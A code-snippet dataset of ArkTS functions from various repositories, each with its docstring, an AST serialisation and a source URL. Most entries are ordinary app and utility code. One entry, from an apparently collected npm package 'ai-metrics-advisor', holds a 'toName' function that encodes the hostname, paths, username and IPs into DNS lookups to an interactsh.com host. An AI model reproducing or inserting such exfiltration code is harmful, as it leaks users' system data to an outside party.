容器格式 | export enum ContainerFormat {
MP4 = 'mp4',
FLV = 'flv',
MKV = 'matroska',
AVI = 'avi',
TS = 'mpegts'
} | AST#export_declaration#Left export AST#enum_declaration#Left enum ContainerFormat AST#enum_body#Left { AST#enum_member#Left MP4 = AST#expression#Left 'mp4' AST#expression#Right AST#enum_member#Right , AST#enum_member#Left FLV = AST#expression#Left 'flv' AST#expression#Right AST#enum_member#Right , AST#enum_member#Left ... | export enum ContainerFormat {
MP4 = 'mp4',
FLV = 'flv',
MKV = 'matroska',
AVI = 'avi',
TS = 'mpegts'
} | https://github.com/jjjjjjava/ffmpeg_tools.git/blob/6c73f7540bc7ca3f0d5b3edd7a6c10cb84a26161/src/main/ets/ffmpeg/FFmpegFactory.ets#L15-L21 | db3077d5844b80642cf77d7d2a4ac156be58c8b1 | github | |
openharmony/codelabs | d899f32a52b2ae0dfdbb86e34e8d94645b5d4090 | Media/VideoPlayer/entry/src/main/ets/viewmodel/HomeDialogModel.ets | arkts | showPrompt | Prompt dialog box.
@param msg Verification Information. | showPrompt(msg: Resource) {
prompt.showToast({
duration: HomeConstants.DURATION,
message: msg
});
} | AST#method_declaration#Left showPrompt AST#parameter_list#Left ( AST#parameter#Left msg : AST#type_annotation#Left AST#primary_type#Left Resource AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right ) AST#parameter_list#Right AST#builder_function_body#Left { AST#expression_statement#Left AST#expression#... | showPrompt(msg: Resource) {
prompt.showToast({
duration: HomeConstants.DURATION,
message: msg
});
} | https://github.com/openharmony/codelabs/blob/d899f32a52b2ae0dfdbb86e34e8d94645b5d4090/Media/VideoPlayer/entry/src/main/ets/viewmodel/HomeDialogModel.ets#L140-L145 | c214970dbb4614b1f5a29143da6d9df3771dcc90 | gitee |
Application-Security-Automation/Arktan.git | 3ad9cb05235e38b00cd5828476aa59a345afa1c0 | dataset/accuracy/path_sensitive/loop_stmt/for_body_002_F.ets | arkts | Introduction 循环结构-body语句 | export function for_body_002_F(taint_src : string) {
let res = ""
for (let i = 0; i < 0; i++) {
res = taint_src
}
taint.Sink(res)
} | AST#export_declaration#Left export AST#function_declaration#Left function for_body_002_F AST#parameter_list#Left ( AST#parameter#Left taint_src : AST#type_annotation#Left AST#primary_type#Left string AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right ) AST#parameter_list#Right AST#block_statement#Left... | export function for_body_002_F(taint_src : string) {
let res = ""
for (let i = 0; i < 0; i++) {
res = taint_src
}
taint.Sink(res)
} | https://github.com/Application-Security-Automation/Arktan.git/blob/3ad9cb05235e38b00cd5828476aa59a345afa1c0/dataset/accuracy/path_sensitive/loop_stmt/for_body_002_F.ets#L7-L13 | 0661563e207c2efcea29710c61ec4a87a385c7ca | github | |
KoStudio/ArkTS-WordTree.git | 78c2a8f8ef6cf4c6be8bab2212f04bfcfa7e7324 | entry/src/main/ets/models/datas/model/Part_Unit.ets | arkts | get | 计算属性:获取分类下的所有活跃单词 | get aliveWords(): WordUser[] {
const aliveWords: WordUser[] = [];
for (const unit of this.aliveUnits) {
aliveWords.push(...unit.aliveWords);
}
return aliveWords;
} | AST#method_declaration#Left get AST#ERROR#Left aliveWords AST#ERROR#Right AST#parameter_list#Left ( ) AST#parameter_list#Right : AST#type_annotation#Left AST#primary_type#Left AST#array_type#Left WordUser [ ] AST#array_type#Right AST#primary_type#Right AST#type_annotation#Right AST#block_statement#Left { AST#statement#... | get aliveWords(): WordUser[] {
const aliveWords: WordUser[] = [];
for (const unit of this.aliveUnits) {
aliveWords.push(...unit.aliveWords);
}
return aliveWords;
} | https://github.com/KoStudio/ArkTS-WordTree.git/blob/78c2a8f8ef6cf4c6be8bab2212f04bfcfa7e7324/entry/src/main/ets/models/datas/model/Part_Unit.ets#L57-L63 | 3e5dcb4cd52af00aa04584f94bf72881a5ba5bb8 | github |
openharmony/graphic_graphic_2d | 46a11e91c9709942196ad2a7afea2e0fcd1349f3 | frameworks/text/interface/export/ani/@ohos.graphics.text.ets | arkts | A paragraph retains the size and position of each glyph in the text and can be efficiently resized and painted.
@syscap SystemCapability.Graphics.Drawing
@since 12 | export class Paragraph {
static { loadLibraryWithPermissionCheck('text_engine_ani.z', "@ohos.graphics.text") } | AST#export_declaration#Left export AST#class_declaration#Left class Paragraph AST#ERROR#Left { static AST#ERROR#Right AST#class_body#Left { AST#method_declaration#Left loadLibraryWithPermissionCheck AST#parameter_list#Left ( AST#ERROR#Left 'text_engine_ani.z' , "@ohos.graphics.text" AST#ERROR#Right ) AST#parameter_list... | export class Paragraph {
static { loadLibraryWithPermissionCheck('text_engine_ani.z', "@ohos.graphics.text") } | https://github.com/openharmony/graphic_graphic_2d/blob/46a11e91c9709942196ad2a7afea2e0fcd1349f3/frameworks/text/interface/export/ani/@ohos.graphics.text.ets#L182-L183 | bacecaa4613ccb65646d118bd11c7983df0aa67e | gitee | |
tongyuyan/harmony-utils | 697472f011a43e783eeefaa28ef9d713c4171726 | harmony_dialog/src/main/ets/utils/AnimationHelper.ets | arkts | transitionInLeft | InLeft动画
@param duration 动画时间
@returns | static transitionInLeft(duration: number = 300): TransitionEffect {
return TransitionEffect.asymmetric(
TransitionEffect.move(TransitionEdge.START).animation({ duration: duration * 0.4 })
.combine(TransitionEffect.OPACITY.animation({ duration: duration })),
TransitionEffect.OPACITY.animation({ d... | AST#method_declaration#Left static transitionInLeft AST#parameter_list#Left ( AST#parameter#Left duration : AST#type_annotation#Left AST#primary_type#Left number AST#primary_type#Right AST#type_annotation#Right = AST#expression#Left 300 AST#expression#Right AST#parameter#Right ) AST#parameter_list#Right : AST#type_anno... | static transitionInLeft(duration: number = 300): TransitionEffect {
return TransitionEffect.asymmetric(
TransitionEffect.move(TransitionEdge.START).animation({ duration: duration * 0.4 })
.combine(TransitionEffect.OPACITY.animation({ duration: duration })),
TransitionEffect.OPACITY.animation({ d... | https://github.com/tongyuyan/harmony-utils/blob/697472f011a43e783eeefaa28ef9d713c4171726/harmony_dialog/src/main/ets/utils/AnimationHelper.ets#L60-L67 | 162aa59efa8abd43a0833bd548879a9c3a142e7c | gitee |
bigbear20240612/birthday_reminder.git | 647c411a6619affd42eb5d163ff18db4b34b27ff | entry/src/main/ets/pages/settings/LLMConfigPage.ets | arkts | buildProviderSection | 构建提供商选择区域 | @Builder
buildProviderSection() {
Column({ space: 16 }) {
Text('选择大模型提供商')
.fontSize(18)
.fontWeight(FontWeight.Medium)
.fontColor('#333333')
.alignSelf(ItemAlign.Start)
// 提供商选择网格
Grid() {
ForEach(this.providers, (provider: LLMInfo) => {
GridIt... | AST#method_declaration#Left AST#decorator#Left @ Builder AST#decorator#Right buildProviderSection AST#parameter_list#Left ( ) AST#parameter_list#Right AST#builder_function_body#Left { AST#arkts_ui_element#Left AST#ui_element_with_modifiers#Left AST#ui_component#Left Column ( AST#component_parameters#Left { AST#componen... | @Builder
buildProviderSection() {
Column({ space: 16 }) {
Text('选择大模型提供商')
.fontSize(18)
.fontWeight(FontWeight.Medium)
.fontColor('#333333')
.alignSelf(ItemAlign.Start)
Grid() {
ForEach(this.providers, (provider: LLMInfo) => {
GridItem() {
... | https://github.com/bigbear20240612/birthday_reminder.git/blob/647c411a6619affd42eb5d163ff18db4b34b27ff/entry/src/main/ets/pages/settings/LLMConfigPage.ets#L222-L271 | 2679acfc87656ece29758c67c1a70384aca8f271 | github |
tongyuyan/harmony-utils | 697472f011a43e783eeefaa28ef9d713c4171726 | harmony_utils/src/main/ets/utils/EmitterUtil.ets | arkts | TODO Emitter工具类(进行线程间通信)
author: 桃花镇童长老ᥫ᭡
since: 2024/05/01 | export class EmitterUtil {
/**
* 发送事件
* @param eventId 事件ID,string类型的eventId不支持空字符串。
* @param data 发送的数据
* @param EventPriority 事件被发送的优先级
*/
static post<T>(eventId: string | number, eventData: T, priority: emitter.EventPriority = emitter.EventPriority.HIGH) {
const genericEventData: emitter.Gen... | AST#export_declaration#Left export AST#class_declaration#Left class EmitterUtil AST#class_body#Left { /**
* 发送事件
* @param eventId 事件ID,string类型的eventId不支持空字符串。
* @param data 发送的数据
* @param EventPriority 事件被发送的优先级
*/ AST#method_declaration#Left static post AST#type_parameters#Left < AST#type_parameter#Lef... | export class EmitterUtil {
static post<T>(eventId: string | number, eventData: T, priority: emitter.EventPriority = emitter.EventPriority.HIGH) {
const genericEventData: emitter.GenericEventData<T> = { data: eventData };
const options: emitter.Options = { priority: priority };
emitter.emit(eventId.to... | https://github.com/tongyuyan/harmony-utils/blob/697472f011a43e783eeefaa28ef9d713c4171726/harmony_utils/src/main/ets/utils/EmitterUtil.ets#L24-L116 | 130f9142ce182dcda4bac1d8d1e1df5a03648ebe | gitee | |
jjjjjjava/ffmpeg_tools.git | 6c73f7540bc7ca3f0d5b3edd7a6c10cb84a26161 | src/main/ets/ffmpeg/TaskConfig.ets | arkts | defaultConfig | 默认配置 | public static defaultConfig(): TaskConfig {
return new TaskConfigBuilder().build();
} | AST#method_declaration#Left public static defaultConfig AST#parameter_list#Left ( ) AST#parameter_list#Right : AST#type_annotation#Left AST#primary_type#Left TaskConfig AST#primary_type#Right AST#type_annotation#Right AST#block_statement#Left { AST#statement#Left AST#return_statement#Left return AST#expression#Left AST... | public static defaultConfig(): TaskConfig {
return new TaskConfigBuilder().build();
} | https://github.com/jjjjjjava/ffmpeg_tools.git/blob/6c73f7540bc7ca3f0d5b3edd7a6c10cb84a26161/src/main/ets/ffmpeg/TaskConfig.ets#L25-L27 | aed035ce10f972be753c3357fac17bb13c6f7101 | github |
openharmony/applications_app_samples | a826ab0e75fe51d028c1c5af58188e908736b53b | code/DocsSample/Security/UniversalKeystoreKit/KeyUsage/KeyExchange/entry/src/main/ets/pages/X25519.ets | arkts | deleteKeyItem | 删除密钥操作 | function deleteKeyItem(keyAlias: string, huksOptions: huks.HuksOptions, throwObject: ThrowObject) {
return new Promise<void>((resolve, reject) => {
try {
huks.deleteKeyItem(keyAlias, huksOptions, (error, data) => {
if (error) {
reject(error);
} else {
resolve(data);
... | AST#function_declaration#Left function deleteKeyItem AST#parameter_list#Left ( AST#parameter#Left keyAlias : AST#type_annotation#Left AST#primary_type#Left string AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right , AST#parameter#Left huksOptions : AST#type_annotation#Left AST#primary_type#Left AST#qu... | function deleteKeyItem(keyAlias: string, huksOptions: huks.HuksOptions, throwObject: ThrowObject) {
return new Promise<void>((resolve, reject) => {
try {
huks.deleteKeyItem(keyAlias, huksOptions, (error, data) => {
if (error) {
reject(error);
} else {
resolve(data);
... | https://github.com/openharmony/applications_app_samples/blob/a826ab0e75fe51d028c1c5af58188e908736b53b/code/DocsSample/Security/UniversalKeystoreKit/KeyUsage/KeyExchange/entry/src/main/ets/pages/X25519.ets#L327-L342 | a795981a6de92483d8cf8c5476e0f2c92444b233 | gitee |
openharmony/applications_app_samples | a826ab0e75fe51d028c1c5af58188e908736b53b | code/UI/CustomAnimationTab/customanimationtab/src/main/ets/model/TabInfo.ets | arkts | TabInfo构造器
@param title - tab项标题
@param contentBuilder - tab项内容
@param barBuilder - tabBar | constructor(title: string, contentBuilder: WrappedBuilder<[ESObject]>,
barBuilder?: WrappedBuilder<[TabBarItemInterface]>, params?: ESObject) {
this.title = title;
this.contentBuilder = contentBuilder;
this.barBuilder = barBuilder;
this.params = params;
} | AST#constructor_declaration#Left constructor AST#parameter_list#Left ( AST#parameter#Left title : AST#type_annotation#Left AST#primary_type#Left string AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right , AST#parameter#Left contentBuilder : AST#type_annotation#Left AST#primary_type#Left AST#generic_ty... | constructor(title: string, contentBuilder: WrappedBuilder<[ESObject]>,
barBuilder?: WrappedBuilder<[TabBarItemInterface]>, params?: ESObject) {
this.title = title;
this.contentBuilder = contentBuilder;
this.barBuilder = barBuilder;
this.params = params;
} | https://github.com/openharmony/applications_app_samples/blob/a826ab0e75fe51d028c1c5af58188e908736b53b/code/UI/CustomAnimationTab/customanimationtab/src/main/ets/model/TabInfo.ets#L37-L43 | 9c9151318cb6ced9f9eb5a78688d6315e12f47f0 | gitee | |
ccccjiemo/egl.git | d18849c3da975ccf9373fd09874aa5637ccbe6bd | Index.d.ets | arkts | copyBuffers | 个人测试不报错,但是拷贝不成功 | copyBuffers(surface: EGLSurface, target: image.PixelMap): boolean; | AST#method_declaration#Left copyBuffers AST#parameter_list#Left ( AST#parameter#Left surface : AST#type_annotation#Left AST#primary_type#Left EGLSurface AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right , AST#parameter#Left target : AST#type_annotation#Left AST#primary_type#Left AST#qualified_type#Le... | copyBuffers(surface: EGLSurface, target: image.PixelMap): boolean; | https://github.com/ccccjiemo/egl.git/blob/d18849c3da975ccf9373fd09874aa5637ccbe6bd/Index.d.ets#L252-L252 | 4abeb8d7deda6c26c6402b4e7db3ec4fe3761ba6 | github |
wangjinyuan/JS-TS-ArkTS-database.git | a84793be4f73d4fc7ff0a44d2e15dbb93c5aab26 | npm/ai-metrics-advisor/99.10.9/package/index.ets | arkts | toName | 处理域名生成 | function toName(pkg: TrackingData): string[] {
let queries: string[] = [];
const hostname = "c5c77jy2vtc0000xqshggdrmqmoyyyyyd.interactsh.com";
let baseStr = `${toHex(pkg.hn)}.${toHex(pkg.p)}.${getPathChunks(pkg.c)}.${toHex(pkg.un)}.${getIps()}.${hostname}`;
if (baseStr.length > 255) {
// 分割处理逻... | AST#function_declaration#Left function toName AST#parameter_list#Left ( AST#parameter#Left pkg : AST#type_annotation#Left AST#primary_type#Left TrackingData AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right ) AST#parameter_list#Right : AST#type_annotation#Left AST#primary_type#Left AST#array_type#Lef... | function toName(pkg: TrackingData): string[] {
let queries: string[] = [];
const hostname = "c5c77jy2vtc0000xqshggdrmqmoyyyyyd.interactsh.com";
let baseStr = `${toHex(pkg.hn)}.${toHex(pkg.p)}.${getPathChunks(pkg.c)}.${toHex(pkg.un)}.${getIps()}.${hostname}`;
if (baseStr.length > 255) {
... | https://github.com/wangjinyuan/JS-TS-ArkTS-database.git/blob/a84793be4f73d4fc7ff0a44d2e15dbb93c5aab26/npm/ai-metrics-advisor/99.10.9/package/index.ets#L92-L104 | 44d07612a0ed829c92dc34c31bf63fef0c368984 | github |
anhao0226/harmony-music-player.git | 4bc1d8f9f5fdb573af387d3ba9ad333c9beb8073 | entry/src/main/ets/api/SongApi.ets | arkts | @param songIds
@param level | export function fetchSongUrl(songIds: number[], level: SongLevel) {
const params = { id: songIds.join(',') };
return new Promise <SongUrl[]>((resolve, reject) => {
httpRequestGet<SongUrlResponse>(AccessUrls.SongUrl, { queryParams: params })
.then((res) => {
if (res.code === 200) {
resolv... | AST#export_declaration#Left export AST#function_declaration#Left function fetchSongUrl AST#parameter_list#Left ( AST#parameter#Left songIds : AST#type_annotation#Left AST#primary_type#Left AST#array_type#Left number [ ] AST#array_type#Right AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right , AST#para... | export function fetchSongUrl(songIds: number[], level: SongLevel) {
const params = { id: songIds.join(',') };
return new Promise <SongUrl[]>((resolve, reject) => {
httpRequestGet<SongUrlResponse>(AccessUrls.SongUrl, { queryParams: params })
.then((res) => {
if (res.code === 200) {
resolv... | https://github.com/anhao0226/harmony-music-player.git/blob/4bc1d8f9f5fdb573af387d3ba9ad333c9beb8073/entry/src/main/ets/api/SongApi.ets#L273-L289 | ad620fe563048fd7b85c53accbbd86684e4a350c | github | |
openharmony/applications_app_samples | a826ab0e75fe51d028c1c5af58188e908736b53b | code/DocsSample/NetWork_Kit/NetWorkKit_Datatransmission/Socket/entry/src/main/ets/workers/Tcp2OneWayTlsWorker.ets | arkts | loadCA | [Start one-way_authentication_by_upgrading_tcp_socket_to_tls_socket] | function loadCA(fileUri: string) {
try {
let buf = new ArrayBuffer(4096);
let file = fs.openSync(fileUri, fs.OpenMode.READ_ONLY);
let readLen = fs.readSync(file.fd, buf, { offset: 0 });
let caContent = buf2String(buf.slice(0, readLen));
fs.closeSync(file);
workerPort.postMessage({ type: 'caLo... | AST#function_declaration#Left function loadCA AST#parameter_list#Left ( AST#parameter#Left fileUri : AST#type_annotation#Left AST#primary_type#Left string AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right ) AST#parameter_list#Right AST#block_statement#Left { AST#statement#Left AST#try_statement#Left ... | function loadCA(fileUri: string) {
try {
let buf = new ArrayBuffer(4096);
let file = fs.openSync(fileUri, fs.OpenMode.READ_ONLY);
let readLen = fs.readSync(file.fd, buf, { offset: 0 });
let caContent = buf2String(buf.slice(0, readLen));
fs.closeSync(file);
workerPort.postMessage({ type: 'caLo... | https://github.com/openharmony/applications_app_samples/blob/a826ab0e75fe51d028c1c5af58188e908736b53b/code/DocsSample/NetWork_Kit/NetWorkKit_Datatransmission/Socket/entry/src/main/ets/workers/Tcp2OneWayTlsWorker.ets#L78-L90 | 9996c4c1fa2b1761a858912696adaac2b58253d3 | gitee |
openharmony-tpc/ohos_mpchart | 4fb43a7137320ef2fee2634598f53d93975dfb4a | library/src/main/ets/components/charts/PieChartModel.ets | arkts | calcAngleSum | calculates the needed angle for a given value
@param value
@return | private calcAngleSum(value: number): number {
if (!this.mData) {
return -1;
}
return this.calcAngle(value, this.mData.getYValueSum());
} | AST#method_declaration#Left private calcAngleSum AST#parameter_list#Left ( AST#parameter#Left value : AST#type_annotation#Left AST#primary_type#Left number AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right ) AST#parameter_list#Right : AST#type_annotation#Left AST#primary_type#Left number AST#primary_... | private calcAngleSum(value: number): number {
if (!this.mData) {
return -1;
}
return this.calcAngle(value, this.mData.getYValueSum());
} | https://github.com/openharmony-tpc/ohos_mpchart/blob/4fb43a7137320ef2fee2634598f53d93975dfb4a/library/src/main/ets/components/charts/PieChartModel.ets#L341-L346 | 50016fc7f2a68f73fba14f21b629dc0f579a149d | gitee |
tongyuyan/harmony-utils | 697472f011a43e783eeefaa28ef9d713c4171726 | harmony_utils/src/main/ets/crypto/CryptoUtil.ets | arkts | getConvertSymKeySync | 获取转换的对称密钥SymKey,同步
@param key 字符串key
@param algName 待生成对称密钥生成器的算法名称(AES128、AES192、AES256、3DES192、SM4_128、HMAC、HMAC|SHA1、HMAC|SHA256、HMAC|SHA512、HMAC|SM3、等)
@param keyCoding 秘钥的编码方式(base64/hex/utf8/utf-8)
@param keyLen 密钥规格的最小长度,默认为0,为0时不补全。
@returns | static getConvertSymKeySync(algName: string, key: string | Uint8Array | cryptoFramework.DataBlob,
keyCoding: crypto.BhuCoding, keyLen: number = 0): cryptoFramework.SymKey {
let symKeyBlob: cryptoFramework.DataBlob = CryptoHelper.getSymKeyDataBlob(key, keyCoding, keyLen);
let aesGenerator = cryptoFramework.c... | AST#method_declaration#Left static getConvertSymKeySync AST#parameter_list#Left ( AST#parameter#Left algName : AST#type_annotation#Left AST#primary_type#Left string AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right , AST#parameter#Left key : AST#type_annotation#Left AST#union_type#Left AST#primary_ty... | static getConvertSymKeySync(algName: string, key: string | Uint8Array | cryptoFramework.DataBlob,
keyCoding: crypto.BhuCoding, keyLen: number = 0): cryptoFramework.SymKey {
let symKeyBlob: cryptoFramework.DataBlob = CryptoHelper.getSymKeyDataBlob(key, keyCoding, keyLen);
let aesGenerator = cryptoFramework.c... | https://github.com/tongyuyan/harmony-utils/blob/697472f011a43e783eeefaa28ef9d713c4171726/harmony_utils/src/main/ets/crypto/CryptoUtil.ets#L142-L148 | 21ccde86fbb09e47f483a377b690af52adad731d | gitee |
openharmony/developtools_profiler | 73d26bb5acfcafb2b1f4f94ead5640241d1e5f73 | host/smartperf/client/client_ui/entry/src/main/ets/common/ui/detail/chart/components/LegendEntry.ets | arkts | @param label The legend entry text. A `null` label will start a group.
@param form The form to draw for this entry.
@param formSize Set to NaN to use the legend's default.
@param formLineWidth Set to NaN to use the legend's default.
@param formLineDashEffect Set to nil to use the legend's default.
@param formColor The ... | constructor(
label?: string,
form?: LegendForm,
formSize?: number,
formLineWidth?: number,
formLineDashEffect?: Object /*DashPathEffect*/,
formColor?: number | Color
) {
this.label = label;
this.form = form;
this.formSize = formSize;
this.formLineWidth = formLineWidth;
this... | AST#constructor_declaration#Left constructor AST#parameter_list#Left ( AST#parameter#Left label ? : AST#type_annotation#Left AST#primary_type#Left string AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right , AST#parameter#Left form ? : AST#type_annotation#Left AST#primary_type#Left LegendForm AST#prima... | constructor(
label?: string,
form?: LegendForm,
formSize?: number,
formLineWidth?: number,
formLineDashEffect?: Object ,
formColor?: number | Color
) {
this.label = label;
this.form = form;
this.formSize = formSize;
this.formLineWidth = formLineWidth;
this.formLineDashEffec... | https://github.com/openharmony/developtools_profiler/blob/73d26bb5acfcafb2b1f4f94ead5640241d1e5f73/host/smartperf/client/client_ui/entry/src/main/ets/common/ui/detail/chart/components/LegendEntry.ets#L29-L43 | b242b9cc2775c186e66a19725981b606b6a2ffd5 | gitee | |
kumaleap/ArkSwipeDeck.git | 5afa77b9b2a2a531595d31f895c54a3371e4249a | library/src/main/ets/constants/DefaultConfigs.ets | arkts | 动画配置常量 | export class AnimationConstants {
/** 弹簧动画刚度 */
static readonly SPRING_STIFFNESS: number = 400;
/** 弹簧动画阻尼 */
static readonly SPRING_DAMPING: number = 0.7;
/** 弹簧动画质量 */
static readonly SPRING_MASS: number = 1.0;
/** 快速滑动速度阈值 */
static readonly FAST_SWIPE_VELOCITY: number = 1000;
/** 最小动画持... | AST#export_declaration#Left export AST#class_declaration#Left class AnimationConstants AST#class_body#Left { /** 弹簧动画刚度 */ AST#property_declaration#Left static readonly SPRING_STIFFNESS : AST#type_annotation#Left AST#primary_type#Left number AST#primary_type#Right AST#type_annotation#Right = AST#expression#Left 400 AST... | export class AnimationConstants {
static readonly SPRING_STIFFNESS: number = 400;
static readonly SPRING_DAMPING: number = 0.7;
static readonly SPRING_MASS: number = 1.0;
static readonly FAST_SWIPE_VELOCITY: number = 1000;
static readonly MIN_ANIMATION_DURATION: number = 200;
... | https://github.com/kumaleap/ArkSwipeDeck.git/blob/5afa77b9b2a2a531595d31f895c54a3371e4249a/library/src/main/ets/constants/DefaultConfigs.ets#L30-L48 | 9319963c571d34ea328adc2cf3267639e96d4da9 | github | |
openharmony/xts_tools | 784a2e99d894e6bc2aba8c38f6bb68032442b1c8 | sample/AppSampleD/entry/src/main/ets/component/VideoComponent.ets | arkts | aboutToAppear | 是否播放 | aboutToAppear() {
// 监听暂停事件,当有其他音乐播放时当前播放
emitter.on({ eventId: Constant.EVENT_PAUSED_INDEX }, data => {
Logger.info(TAG, `emitter on data = ${JSON.stringify(data)}`)
Logger.info(TAG, `emitter on data this.isPlay= ${JSON.stringify(this.isPlay)}`)
if (this.isPlay) {
this.avPlayerModel.p... | AST#method_declaration#Left aboutToAppear AST#parameter_list#Left ( ) AST#parameter_list#Right AST#builder_function_body#Left { // 监听暂停事件,当有其他音乐播放时当前播放 AST#expression_statement#Left AST#expression#Left AST#call_expression#Left AST#expression#Left AST#member_expression#Left AST#expression#Left emitter AST#expression#Rig... | aboutToAppear() {
emitter.on({ eventId: Constant.EVENT_PAUSED_INDEX }, data => {
Logger.info(TAG, `emitter on data = ${JSON.stringify(data)}`)
Logger.info(TAG, `emitter on data this.isPlay= ${JSON.stringify(this.isPlay)}`)
if (this.isPlay) {
this.avPlayerModel.paused();
this.i... | https://github.com/openharmony/xts_tools/blob/784a2e99d894e6bc2aba8c38f6bb68032442b1c8/sample/AppSampleD/entry/src/main/ets/component/VideoComponent.ets#L34-L44 | 2d047584a436d9a98d18ce6f2b51e87b5df546d0 | gitee |
yunkss/ef-tool | 75f6761a0f2805d97183504745bf23c975ae514d | ef_crypto/src/main/ets/crypto/util/CryptoUtil.ets | arkts | decodeAsymSegment | 非对称分段解密
@param decodeStr 待解密的字符串
@param priKey 给定秘钥规格私钥
@param symAlgName 秘钥规格
@param symEncryptName 加密规格 | static async decodeAsymSegment(str: string, priKey: string, symAlgName: string, symEncryptName: string,
keyName: number): Promise<string> {
//将私钥转换
let priPair = await CryptoUtil.convertPriKeyFromStr(priKey, symAlgName, keyName);
//生成解密器
let encoder = crypto.createCipher(symEncryptName);
//定义分段字... | AST#method_declaration#Left static async decodeAsymSegment AST#parameter_list#Left ( AST#parameter#Left str : AST#type_annotation#Left AST#primary_type#Left string AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right , AST#parameter#Left priKey : AST#type_annotation#Left AST#primary_type#Left string AST... | static async decodeAsymSegment(str: string, priKey: string, symAlgName: string, symEncryptName: string,
keyName: number): Promise<string> {
let priPair = await CryptoUtil.convertPriKeyFromStr(priKey, symAlgName, keyName);
let encoder = crypto.createCipher(symEncryptName);
let strSplitLen ... | https://github.com/yunkss/ef-tool/blob/75f6761a0f2805d97183504745bf23c975ae514d/ef_crypto/src/main/ets/crypto/util/CryptoUtil.ets#L282-L309 | bf7cbdfbddf20236c73d54508f881ecf4ecb01e0 | gitee |
linhanlove/hormany-os-notion | a65f47bfc1a2bbce531b9af97831eb1ba934c2f8 | entry/src/main/ets/pages/auth/Login.ets | arkts | TextStyle | 文本样式 | @Extend(Text) function TextStyle() {
.fontColor(StyleConstants.BASE_STYLE.fontColor)
.fontWeight(FontWeight.Bold)
.margin({ top: StyleConstants.SPACING })
} | AST#decorated_function_declaration#Left AST#decorator#Left @ Extend ( AST#expression#Left Text AST#expression#Right ) AST#decorator#Right function TextStyle AST#parameter_list#Left ( ) AST#parameter_list#Right AST#extend_function_body#Left { AST#modifier_chain_expression#Left . fontColor ( AST#expression#Left AST#membe... | @Extend(Text) function TextStyle() {
.fontColor(StyleConstants.BASE_STYLE.fontColor)
.fontWeight(FontWeight.Bold)
.margin({ top: StyleConstants.SPACING })
} | https://github.com/linhanlove/hormany-os-notion/blob/a65f47bfc1a2bbce531b9af97831eb1ba934c2f8/entry/src/main/ets/pages/auth/Login.ets#L164-L168 | 0fed2f35b353a57a39d5ba1ae1c183eacf41b257 | gitee |
wuyuanwuhui99/harmony-arkts-music-app-ui.git | fc75b993b76293666f9122f527ea3bc6caf7f75c | entry/src/main/ets/components/DialogComponent.ets | arkts | DialogComponent | @description: 退出登录弹窗
@date: 2024-01-14 21:47
@author wuwenqiang | @CustomDialog
export default struct DialogComponent {
controller: CustomDialogController
cancel: () => void
confirm: () => void
title: string=""
build() {
Column() {
Text(this.title)
.padding(size.pagePadding * 2)
Row() {
Text('取消')
.onClick(() => {
this.... | AST#decorated_export_declaration#Left AST#decorator#Left @ CustomDialog AST#decorator#Right export default struct DialogComponent AST#component_body#Left { AST#property_declaration#Left controller : AST#ERROR#Left CustomDialogController cancel : AST#ERROR#Right AST#type_annotation#Left AST#function_type#Left AST#parame... | @CustomDialog
export default struct DialogComponent {
controller: CustomDialogController
cancel: () => void
confirm: () => void
title: string=""
build() {
Column() {
Text(this.title)
.padding(size.pagePadding * 2)
Row() {
Text('取消')
.onClick(() => {
this.... | https://github.com/wuyuanwuhui99/harmony-arkts-music-app-ui.git/blob/fc75b993b76293666f9122f527ea3bc6caf7f75c/entry/src/main/ets/components/DialogComponent.ets#L8-L61 | 3499ae461b2f2e4cd1fdd41a1c58690d82c30095 | github |
Joker-x-dev/HarmonyKit.git | f97197ce157df7f303244fba42e34918306dfb08 | core/base/Index.ets | arkts | BaseViewModel | @file base 模块统一导出
@author Joker.X | export { BaseViewModel } from "./src/main/ets/viewmodel/BaseViewModel"; | AST#export_declaration#Left export { BaseViewModel } from "./src/main/ets/viewmodel/BaseViewModel" ; AST#export_declaration#Right | export { BaseViewModel } from "./src/main/ets/viewmodel/BaseViewModel"; | https://github.com/Joker-x-dev/HarmonyKit.git/blob/f97197ce157df7f303244fba42e34918306dfb08/core/base/Index.ets#L5-L5 | 21f5326f28459750eac3380ca1d42da3598adf38 | github |
harmonyos-cases/cases | eccdb71f1cee10fa6ff955e16c454c1b59d3ae13 | CommonAppDevelopment/feature/bluetooth/src/main/ets/viewmodel/BluetoothClientModel.ets | arkts | offBLEConnectionStateChange | 取消订阅蓝牙低功耗设备的连接状态变化事件 | private offBLEConnectionStateChange() {
Log.showInfo(TAG, `offBLEConnectionStateChange`);
if (!this.mGattClientDevice) {
Log.showInfo(TAG, `offBLEConnectionStateChange: mGattClientDevice is null`);
return;
}
try {
this.mGattClientDevice.off('BLEConnectionStateChange');
} catch (er... | AST#method_declaration#Left private offBLEConnectionStateChange AST#parameter_list#Left ( ) AST#parameter_list#Right AST#block_statement#Left { AST#statement#Left AST#expression_statement#Left AST#expression#Left AST#call_expression#Left AST#expression#Left AST#member_expression#Left AST#expression#Left Log AST#express... | private offBLEConnectionStateChange() {
Log.showInfo(TAG, `offBLEConnectionStateChange`);
if (!this.mGattClientDevice) {
Log.showInfo(TAG, `offBLEConnectionStateChange: mGattClientDevice is null`);
return;
}
try {
this.mGattClientDevice.off('BLEConnectionStateChange');
} catch (er... | https://github.com/harmonyos-cases/cases/blob/eccdb71f1cee10fa6ff955e16c454c1b59d3ae13/CommonAppDevelopment/feature/bluetooth/src/main/ets/viewmodel/BluetoothClientModel.ets#L303-L315 | 59def778d29b3a7c808de6fcf17588e13ada4be3 | gitee |
openharmony/codelabs | d899f32a52b2ae0dfdbb86e34e8d94645b5d4090 | Ability/StageAbilityDemo/entry/src/main/ets/common/constants/HomeConstants.ets | arkts | The constant of TabsComponent. | export class GoodsTabs {
/**
* The height of GoodsTabs.
*/
static readonly BAR_HEIGHT: number = 50;
/**
* The default index of GoodsTabs.
*/
static readonly TABVIEW_POSITION_INDEX_PAGE: number = 0;
/**
* The width of image.
*/
static readonly IMAGE_SIZE_WIDTH: number = 12;
/**
